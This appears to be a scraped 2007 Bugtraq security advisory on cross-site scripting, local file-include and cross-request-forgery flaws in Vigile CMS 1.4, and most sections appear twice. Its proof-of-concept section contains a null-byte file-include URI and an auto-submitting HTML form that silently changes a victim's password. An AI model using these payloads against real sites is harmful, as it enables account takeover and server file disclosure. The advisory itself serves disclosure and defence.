Vigile CMS Multiple Vulnerabilities
BID:26484
Info
Vigile CMS Multiple Vulnerabilities
| Bugtraq ID: | 26484 |
| Class: | Input Validation Error |
| CVE: |
CVE-2007-6085 CVE-2007-6086 CVE-2007-6087 |
| Remote: | Yes |
| Local: | No |
| Published: | Nov 18 2007 12:00AM |
| Updated: | Dec 18 2007 08:06PM |
| Credit: | DevilAuron is credited with the discovery of these vulnerabilities. |
| Vulnerable: |
IT cms Vigile CMS 1.4 |
| Not Vulnerable: |
IT cms Vigile CMS 1.8 |
Discussion
Vigile CMS Multiple Vulnerabilities
The Vigile CMS is prone to multiple vulnerabilities because it fails to properly sanitize user-supplied input.
An attacker may leverage these issues to execute local scripts or view files on the server, steal cookie-based authentication credentials, execute arbitrary script code in a victim's browser, and use a victim's currently active session to perform actions with the application.
Vigile CMS 1.4 is vulnerable; other versions may also be affected.
The Vigile CMS is prone to multiple vulnerabilities because it fails to properly sanitize user-supplied input.
An attacker may leverage these issues to execute local scripts or view files on the server, steal cookie-based authentication credentials, execute arbitrary script code in a victim's browser, and use a victim's currently active session to perform actions with the application.
Vigile CMS 1.4 is vulnerable; other versions may also be affected.
Exploit / POC
Vigile CMS Multiple Vulnerabilities
Attackers can exploit the cross-site request and cross-site scripting issues by enticing an unsuspecting user to follow a malicious URI. Attackers can use a browser to exploit the local file-include issue.
The following proof-of-concept URIs are available:
For the cross-site scripting issue:
http://www.example.com/index.php?module=vedipm&inviapm=true
http://www.example.com/index.php?module=live_chat
It is possible to inject code in the messages.
For the local file-include issue:
http://www.example.com/index.php?module=[somefile]%00
For the cross-site request-forgery issue:
<form name="cambia" method="post" action="http://www.example.com/index.php?module=changepass">
<input type="password" name="new1" maxlength=20 value="123456">
<input type="password" name="new2" maxlength=20 value="123456">
<input type="hidden" name="pw" value="Cambia la Password">
</form>
<script>document.cambia.submit()</script>
Attackers can exploit the cross-site request and cross-site scripting issues by enticing an unsuspecting user to follow a malicious URI. Attackers can use a browser to exploit the local file-include issue.
The following proof-of-concept URIs are available:
For the cross-site scripting issue:
http://www.example.com/index.php?module=vedipm&inviapm=true
http://www.example.com/index.php?module=live_chat
It is possible to inject code in the messages.
For the local file-include issue:
http://www.example.com/index.php?module=[somefile]%00
For the cross-site request-forgery issue:
<form name="cambia" method="post" action="http://www.example.com/index.php?module=changepass">
<input type="password" name="new1" maxlength=20 value="123456">
<input type="password" name="new2" maxlength=20 value="123456">
<input type="hidden" name="pw" value="Cambia la Password">
</form>
<script>document.cambia.submit()</script>
Solution / Fix
Vigile CMS Multiple Vulnerabilities
Solution:
The vendor has released Vigile CMS 1.8, but Symantec has not verified whether or not that version is vulnerable to these issues. Please see the references for more information.
Solution:
The vendor has released Vigile CMS 1.8, but Symantec has not verified whether or not that version is vulnerable to these issues. Please see the references for more information.
References
Vigile CMS Multiple Vulnerabilities
References:
References: